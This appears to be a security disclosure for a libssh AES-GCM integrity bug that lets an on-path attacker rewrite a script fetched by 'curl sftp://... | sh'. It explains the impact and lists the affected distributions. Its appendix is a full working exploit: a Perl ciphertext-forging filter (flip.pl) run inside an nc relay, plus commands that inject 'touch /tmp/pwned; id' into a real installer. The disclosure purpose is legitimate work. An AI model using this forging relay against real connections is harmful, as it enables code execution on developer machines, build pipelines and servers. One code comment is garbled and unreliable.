Shell runs script rewritten in flight

curl fetches script — attacker rewrites — shell runs.

Discovered 10 May 2026

curl installs software; server fetch, pipe into shell, execute:

```
curl sftp://install.sh | sh — forged in flight
# curl | sh install: fetch a script over SSH, run it
dev@laptop:~$ curl sftp://get.acme.example/install.sh | sh
# on-path attacker rewrote the reply
acme-cli: installing into ~/.local
the forged script slipped this in — a command you never asked for, run as you
acme-cli: done.
```

Ubuntu fetching over SFTP. On-path adversary rewrites in flight. Shell runs attacker's line.

Put a tap on the wire. Integrity check ensuring non-malleability is broken. Whoever sits on the path rewrites the reply. Request an installer; get owned. No corruption alarm, everything looks legit. Shell reads and executes.

> *Not the script on the server — the script on the wire.* ***#curl-pipe-lie***

The receiver does the most dangerous thing there is to do with forged bytes: execute. An integrity bug in a small, unglamorous library was, for its whole life, enough to run a shell's worth of whatever the attacker wants:

CI / container build: headless pipeline, runner holding signing keys and secrets the build feeds — poison what the pipeline ships.

Developer laptop: the canonical `curl … | sh` for a language toolchain, container runtime, or AI agent installation, run once and trusted, hands an on-path attacker the developer's device.

Fleet bootstrap: provisioning step that curls an installer onto every new host backdoors each, and the script on the server checksums clean.

The thread is the same: something fetches a script over a channel it trusts, and whoever holds the wire decides what runs.

The fault is not curl's. One layer beneath sits *libssh*, and beneath that a broken seal: a flipped predicate skips inspection, so a rewritten record reads as authentic. Cybernuke spotted it and wrote the one-line fix, which shipped in 0.11.5 and 0.12.1 — the distributions (including Ubuntu 24.04 LTS and Linux Mint 22) that build curl against libssh inherit both the bug and, when they rebuild, the fix. **The underlying vulnerability →**

Discovered 2026-05-10. Target: curl's sftp and scp backends on distributions that link libssh. Prior art: the underlying primitive — WAVED / CVE-2026-59847, the libssh AES-GCM integrity break, fixed in libssh 0.11.5 and 0.12.1. CWE-354 · CVSS 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Detected & exploited by cybernuke — cybernuke.bensmyth.com.

Appendix: run it for yourself

Stock Ubuntu 24.04 `curl`, the same `curl sftp://./install.sh | sh`, four ways — the only thing that changes between the attack and the negative control is the one-line libssh predicate — the GCM tag check in `evp_cipher_aead_decrypt`, as Ubuntu 24.04 ships it against the fix:

```
# libssh 0.10.6  evp_cipher_aead_decrypt() (libcrypto.c)  - AES-GCM tag check:
    rc = EVP_DecryptFinal(cipher->ctx, NULL, &outlen);
    if (rc < 0) { ..., return SSH_ERROR; }   // 24.04: bad tag returns 0, which
                                             //  is not < 0 -> record ACCEPTED
    if (rc != 1 || outlen != 0) { ... }      // the fix (libssh 0.11.5 / 0.12.1)
# and in the shipped .so (objdump, at the EVP_DecryptFinal call site):
    vuln    (stock) : test   %eax,%eax     // branches on < 0
    patched (control): cmp    $0x1,%eax    // branches on != 1
```

The four runs, one discriminator:

```
# curl sftp://get.acme.example/install.sh | sh   — four ways, stock 24.04

# 1. no attacker on the path:
    acme-cli: installing into /usr/local
    acme-cli: done.
    -> /tmp/pwned: absent

# 2. on-path forge, VULNERABLE libssh 0.10.6: the shell runs the attacker line
    acme-cli: installing into /usr/local
    uid=0(root) gid=0(root) groups=0(root)
    acme-cli: done.
    -> /tmp/pwned: *** present — code executed on the client ***

# 3. same forge, PATCHED libssh: the tampered record is rejected
    -> /tmp/pwned: absent — fails closed

# 4. PATCHED libssh, no forge: the real installer runs normally
    acme-cli: installing into /usr/local
    acme-cli: done.
    -> /tmp/pwned: absent
```

The vector needs curl's SSH backend to be *libssh* (not libssh2) and that libssh to carry the bug. Checked directly against stock images:

```
$ curl --version | grep -o 'libssh[2]*/[0-9.]*'    # curl's SSH backend
$ ldd $(command -v curl) | grep libssh

  Ubuntu 24.04 LTS    libssh 0.10.6    VULNERABLE  (unpatched; window open)
  Linux Mint 22       libssh 0.10.6    VULNERABLE  (24.04 base, same pkg)
  Fedora 44           libssh 0.12.2    patched     (> 0.12.1 fix; real)
  Ubuntu 25.10/26.04  libssh2          unaffected  (reverted after 24.04)
  Debian 13           libssh2          unaffected
  RHEL 9 / 10         no sftp backend  unaffected

# on the box under test (stock Ubuntu 24.04):
  curl 8.5.0  libssh/0.10.6   ->  /lib/x86_64-linux-gnu/libssh.so.4
```

The attacker is the shared `WAVED`-family forge, `flip.pl` — generalised in `MIRAGE` and recycled here byte-for-byte — a keyless filter in an on-path `nc` relay. It rewrites a single server→client record — the SFTP DATA reply carrying the installer — overwriting the real bytes with the attacker's, and lets the now-stale GCM tag ride through, because the flipped predicate never inspects it:

```
#!/usr/bin/env perl
# Shared on-path attacker for the WAVED-downstream findings: a filter in an nc
# relay that holds no key. AES-GCM is counter mode, so exclusive-or-ing the
# difference of two known strings into the ciphertext puts the second into the
# plaintext, under a tag that no longer matches. It picks a record out by size
# and rewrites the payload in place, decrypting nothing.
#
# A generalised branch of WAVED's own attacker (which is unchanged, and forges
# the client's exec command). Place this in the stream to rewrite: the app-layer
# findings filter the server's replies, which do not extra arguments it matches the
# original -- the command's length gives the record size, offset 19, the first
# such record. The downstream cases pass the three things that differ:
#   flip.pl KNOWN CHOSEN [SIZE [OFF [INDEX]]]     HEX=1  -> KNOWN/CHOSEN are hex
#                                                 DEBUG=1 -> list record sizes
# KNOWN and CHOSEN must be equal length; SIZE picks the record, OFF is the byte
# offset of the payload in the body, INDEX is which record of SIZE to take.
$| = 1; binmode STDIN; binmode STDOUT;
my ($KNOWN, $CHOSEN, $SIZE, $OFF, $INDEX) = @ARGV;
if ($ENV{HEX}) { $_ = pack "H*", $_ for $KNOWN, $CHOSEN }
die "attacker: the two payloads differ in length\n"
  if length($KNOWN) != length($CHOSEN);
my $DELTA = $KNOWN ^ $CHOSEN;
my $ext = defined $SIZE;              # downstream (explicit) vs WAVED default
$OFF  //= 19;
$INDEX //= 0;
$SIZE  //= 16 * int((19 + length($KNOWN) + 4 + 15) / 16);
my $DEBUG = $ENV{DEBUG} // 0;

# read(2) may return short; loop, or a truncated record desyncs the relay.
sub rd {
  my ($n, $b, $g) = (shift, '', 0);
  while ($g < $n) {
    my $r = read STDIN, my $c, $n - $g;
    return undef if !defined $r || $r == 0;
    $b .= $c; $g += $r;
  }
  return $b;
}

print scalar <STDIN>;                 # the plaintext version line, unchanged
my ($enc, $count, $done) = (0, 0, 0);
while (defined(my $len = rd(4))) {
  my $n = unpack "N", $len;
  my $body = rd($n + ($enc ? 16 : 0));
  last if !defined $body;
  if (!$enc) {
    $enc = substr($body, 1, 1) eq "\x15";    # SSH_MSG_NEWKEYS
  } else {
    warn "record: n=$n\n" if $DEBUG;
    if ($n == $SIZE && length($DELTA)) {
      if ($count == $INDEX && !$done) {
        $done = 1;
        substr($body, $OFF, length $DELTA) ^= $DELTA;
        warn $ext ? "attacker: rewrote the $n-byte record at offset $OFF\n"
                  : "attacker: rewrote the command in the $n-byte record\n";
      }
      $count++;
    }
  }
  print $len, $body;
}
warn "attacker: $count record(s) of $SIZE bytes seen\n";
```

AES-GCM encrypts under CTR, so that XOR substitutes `chosen` for `known` byte-for-byte in what curl decrypts — which only bites where `known` is the installer's true bytes. A `curl … | sh` fetches a published script, so it is. Read line 6 straight from the installer; `chosen` is `touch /tmp/pwned; id` padded to the same length and commented:

```
$ sed -n 6p install.sh            # line 6 of the PUBLIC installer = KNOWN
# audited: this installer unpacks a signed tarball, nothing else
$ CHOSEN='touch /tmp/pwned; id #'   # padded to KNOWN's length, commented
```

The whole run — serve the installer, drop the relay onto the path aimed at that one record (`-n 304`, offset 204), and fetch-and-run:

```
$ sshd -f sshd.conf                       # stock aes-gcm sshd serving install.sh
$ mkfifo back ; nc -l 4088 <back | nc -N 127.0.0.1 4022 \
    | HEX=1 perl flip.pl $(cat known.hex) $(cat chosen.hex) 304 204 0 >back &
$ curl -sS sftp://127.0.0.1:4088/./install.sh --key id --pubkey id.pub | sh
```